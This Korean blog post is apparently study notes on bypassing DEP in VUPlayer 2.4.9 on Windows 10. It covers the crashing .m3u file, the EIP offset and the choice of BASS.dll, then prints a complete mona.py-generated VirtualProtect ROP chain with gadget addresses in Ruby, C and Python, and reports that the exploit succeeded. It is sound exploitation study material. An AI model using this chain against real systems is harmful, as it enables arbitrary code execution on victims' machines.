본문 바로가기

IT/시스템 해킹(System Hacking)

[Windows System Hacking] Bypassing DEP

[*] 해당 문서는 서적 [윈도우 시스템 해킹 가이드 - 버그헌팅과 익스플로잇]을 참고하여 작성하였습니다. 

 

Windows System Hacking 연구를 위해서 학습을 진행하며

여러가지 공격기법에 대하여 정리하려고 한다.

해당 문서는 Mitigation중 하나인 DEP에 대한 우회방법(Bypassing)에 대해 기술한 문서이다.

 

DEP는 메모리 영역에 실행권한을 두어 실행권한이 없는 메모리 영역의 코드가 실행되는 것을 방지하는 기법이다.

 

[실습 바이너리 & 익스플로잇 코드]

Bypassing SafeSEH.zip
1.33MB

 


[ 실습 환경 ]

테스트 환경 : Windows 10 Pro 64bit

테스트 대상 : VUPlayer 2.4.9 [Non ASLR, DEP, Non StackGuard, Non safeSEH]

테스트 도구 : Immunity Debugger(mona.py), Metasploit

 

우선 테스트 환경은 Windows 10 Pro 64bit 버전 하에서

보호기법(Mitigation) DEP가 적용된 바이너리를 익스플로잇(Exploit) 해보려고한다.

테스트 도구로는 다음과 같이 Immunity DebuggerMetasploit을 이용하였다.



[바이너리 분석]

그림1. 바이너리 실행 분석

 

해당 바이너리를 음악파일을 실행할 수 있는 일종의 플레이어로 보여진다.

플레이어나 뷰어 같은 일종의 리소스 파일을 해석하는 프로세스는 Input Vector가 파일이기에 샘플 파일을 생성한다.

 

그림2. 샘플 파일 생성

 

해당 패턴을 토대로 하나의 샘플파일(.m3u)를 생성해주었다.

그 후 VUplayer를 이용하여 샘플파일을 실행시키는 순간 다음과 같이 EIP가 변조된 것을 확인할 수 있다.

 

그림3. EIP Corrupt(1)

 

실행흐름(EIP)가 68423768로 변조되었으며 이를 이용해 버퍼의 사이즈를 확인해볼 수 있다.

 

그림4. offset

 

총 1012개의 dummy 입력시 다음과 같이 eip가 변조되는 것을 확인할 수 있다.

 

그림5. EIP Corrupt(2)

 

다음과 같이 EIP를 control할 수 있기에 바이너리를 공격하여 익스플로잇(exploit)을 진행해보겠다.

 

[바이너리 공격]

해당 바이너리의 익스플로잇(exploit)을 진행하기에 앞서 고려해야 하는 부분이 한 가지 존재한다.

이전까지는 메모리의 스택 영역 상에서 쉘코드를 실행하여 공격자가 원하는 코드를 실행할 수 있었지만

DEP란 보호기법이 걸려있기에 기본적으로는 실행권한이 존재하지 않는 스택영역에서는 임의 코드 실행이 불가하다.

 

그렇다면 실행권한이 있는 주소의 특정 Instruction을 연속적으로 수행하여 원하는 코드를 수행시킬 수 있다.

 

그림6. VUplayer에 로드된 모듈(module)

 

다음과 같이 몇개의 모듈은 어떠한 보호기법도 걸려있지 않은 것으로 확인된다.

그렇다면 해당 모듈 중 하나인 BASS.dll을 사용하려고 한다. 

해당 모듈을 선택한 이유는 주소값에 널 바이트가 들어가지 않으며

가장 사이즈가 크기에(0x41000) 필요한 Instruction이 많을 것이라는 예상하였다.

 

해당 모듈에 원하는 Instruction이 없을 경우 다른 모듈에서 Instruction 하나만 가져와도 동일한 역할을 한다.

 

추가적으로 특정한 Instruction을 지속적으로 나열하여 원하는 코드 동작을 수행하게 하는 기법을

ROP(Return Oriented Programming)이라고 한다.

 

한번쯤은 이해하기 위해서는 직접 손수 가젯들을 찾아서 페이로드를 구성해보는 것도 좋지만

작성자는 ROP를 이해하고 있기에 mona를 익히는 것도 좋은 공부라고 판단되어 툴을 이용한다.

 

그림7. mona를 이용한 ROP chain Generating

 

BASS.dll기반의 모듈에서 rop chain을 구성하는 명령어를 입력해보았다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
################################################################################
 
Register setup for VirtualProtect() :
--------------------------------------------
 EAX = NOP (0x90909090)
 ECX = lpOldProtect (ptr to W address)
 EDX = NewProtect (0x40)
 EBX = dwSize
 ESP = lPAddress (automatic)
 EBP = ReturnTo (ptr to jmp esp)
 ESI = ptr to VirtualProtect()
 EDI = ROP NOP (RETN)
 --- alternative chain ---
 EAX = ptr to &VirtualProtect()
 ECX = lpOldProtect (ptr to W address)
 EDX = NewProtect (0x40)
 EBX = dwSize
 ESP = lPAddress (automatic)
 EBP = POP (skip 4 bytes)
 ESI = ptr to JMP [EAX]
 EDI = ROP NOP (RETN)
 + place ptr to "jmp esp" on stack, below PUSHAD
--------------------------------------------
 
 
ROP Chain for VirtualProtect() [(XP/2003 Server and up)] :
----------------------------------------------------------
 
*** [ Ruby ] ***
 
  def create_rop_chain()
 
    # rop chain generated with mona.py - www.corelan.be
    rop_gadgets = 
    [
      #[---INFO:gadgets_to_set_esi:---]
      0x10015fe7,  # POP EAX # RETN [BASS.dll] 
      0x10040284,  # ptr to &VirtualProtect() [IAT BASS.dll]
      0x1001eaf1,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [BASS.dll] 
      0x10030950,  # XCHG EAX,ESI # RETN [BASS.dll] 
      #[---INFO:gadgets_to_set_ebp:---]
      0x100106e1,  # POP EBP # RETN [BASS.dll] 
      0x1000d0ff,  # & jmp esp [BASS.dll]
      #[---INFO:gadgets_to_set_ebx:---]
      0x10008827,  # POP EBX # RETN [BASS.dll] 
      0x00000201,  # 0x00000201-> ebx
      #[---INFO:gadgets_to_set_edx:---]
      0x1004041c,  # POP EDX # RETN [BASS.dll] 
      0x00000040,  # 0x00000040-> edx
      #[---INFO:gadgets_to_set_ecx:---]
      0x10001c91,  # POP ECX # RETN [BASS.dll] 
      0x10108ea9,  # &Writable location [BASSWMA.dll]
      #[---INFO:gadgets_to_set_edi:---]
      0x10603658,  # POP EDI # RETN [BASSMIDI.dll] 
      0x1000396b,  # RETN (ROP NOP) [BASS.dll]
      #[---INFO:gadgets_to_set_eax:---]
      0x10015f77,  # POP EAX # RETN [BASS.dll] 
      0x90909090,  # nop
      #[---INFO:pushad:---]
      0x1001d7a5,  # PUSHAD # RETN [BASS.dll] 
    ].flatten.pack("V*")
 
    return rop_gadgets
 
  end
 
 
  # Call the ROP chain generator inside the 'exploit' function :
 
 
  rop_chain = create_rop_chain()
 
 
 
*** [ C ] ***
 
  #define CREATE_ROP_CHAIN(name, ...) \
    int name##_length = create_rop_chain(NULL, ##__VA_ARGS__); \
    unsigned int name[name##_length / sizeof(unsigned int)]; \
    create_rop_chain(name, ##__VA_ARGS__);
 
  int create_rop_chain(unsigned int *buf, unsigned int )
  {
    // rop chain generated with mona.py - www.corelan.be
    unsigned int rop_gadgets[] = {
      //[---INFO:gadgets_to_set_esi:---]
      0x10015fe7,  // POP EAX // RETN [BASS.dll] 
      0x10040284,  // ptr to &VirtualProtect() [IAT BASS.dll]
      0x1001eaf1,  // MOV EAX,DWORD PTR DS:[EAX] // RETN [BASS.dll] 
      0x10030950,  // XCHG EAX,ESI // RETN [BASS.dll] 
      //[---INFO:gadgets_to_set_ebp:---]
      0x100106e1,  // POP EBP // RETN [BASS.dll] 
      0x1000d0ff,  // & jmp esp [BASS.dll]
      //[---INFO:gadgets_to_set_ebx:---]
      0x10008827,  // POP EBX // RETN [BASS.dll] 
      0x00000201,  // 0x00000201-> ebx
      //[---INFO:gadgets_to_set_edx:---]
      0x1004041c,  // POP EDX // RETN [BASS.dll] 
      0x00000040,  // 0x00000040-> edx
      //[---INFO:gadgets_to_set_ecx:---]
      0x10001c91,  // POP ECX // RETN [BASS.dll] 
      0x10108ea9,  // &Writable location [BASSWMA.dll]
      //[---INFO:gadgets_to_set_edi:---]
      0x10603658,  // POP EDI // RETN [BASSMIDI.dll] 
      0x1000396b,  // RETN (ROP NOP) [BASS.dll]
      //[---INFO:gadgets_to_set_eax:---]
      0x10015f77,  // POP EAX // RETN [BASS.dll] 
      0x90909090,  // nop
      //[---INFO:pushad:---]
      0x1001d7a5,  // PUSHAD // RETN [BASS.dll] 
    };
    if(buf != NULL) {
      memcpy(buf, rop_gadgets, sizeof(rop_gadgets));
    };
    return sizeof(rop_gadgets);
  }
 
  // use the 'rop_chain' variable after this call, it's just an unsigned int[]
  CREATE_ROP_CHAIN(rop_chain, );
  // alternatively just allocate a large enough buffer and get the rop chain, i.e.:
  // unsigned int rop_chain[256];
  // int rop_chain_length = create_rop_chain(rop_chain, );
 
*** [ Python ] ***
 
  def create_rop_chain():
 
    # rop chain generated with mona.py - www.corelan.be
    rop_gadgets = [
      #[---INFO:gadgets_to_set_esi:---]
      0x10015fe7,  # POP EAX # RETN [BASS.dll] 
      0x10040284,  # ptr to &VirtualProtect() [IAT BASS.dll]
      0x1001eaf1,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [BASS.dll] 
      0x10030950,  # XCHG EAX,ESI # RETN [BASS.dll] 
      #[---INFO:gadgets_to_set_ebp:---]
      0x100106e1,  # POP EBP # RETN [BASS.dll] 
      0x1000d0ff,  # & jmp esp [BASS.dll]
      #[---INFO:gadgets_to_set_ebx:---]
      0x10008827,  # POP EBX # RETN [BASS.dll] 
      0x00000201,  # 0x00000201-> ebx
      #[---INFO:gadgets_to_set_edx:---]
      0x1004041c,  # POP EDX # RETN [BASS.dll] 
      0x00000040,  # 0x00000040-> edx
      #[---INFO:gadgets_to_set_ecx:---]
      0x10001c91,  # POP ECX # RETN [BASS.dll] 
      0x10108ea9,  # &Writable location [BASSWMA.dll]
      #[---INFO:gadgets_to_set_edi:---]
      0x10603658,  # POP EDI # RETN [BASSMIDI.dll] 
      0x1000396b,  # RETN (ROP NOP) [BASS.dll]
      #[---INFO:gadgets_to_set_eax:---]
      0x10015f77,  # POP EAX # RETN [BASS.dll] 
      0x90909090,  # nop
      #[---INFO:pushad:---]
      0x1001d7a5,  # PUSHAD # RETN [BASS.dll] 
    ]
    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
 
  rop_chain = create_rop_chain()
 
 

 

다음과 같이 여러가지 언어로 구성된 ROP chain을 보여준다.

 

해당 ROP Chain을 토대로 실제 바이너리를 공격해본 결과 다음과 같이 정상적으로 익스플로잇(Exploit)이 가능하였다.

 

그림8. Exploit!

 

[고찰]

mona를 이용하여 ROP chain을 쉽게 구성해볼 수 있다.

하지만 고려해야하는 점은 언제나 완벽한 ROP chain을 만들어 준다는 것은 아니다.

때론 특정 instruction에 대한 가젯이 없는 경우는 직접 다른 모듈을 통해서라도 가젯을 찾아야 한다.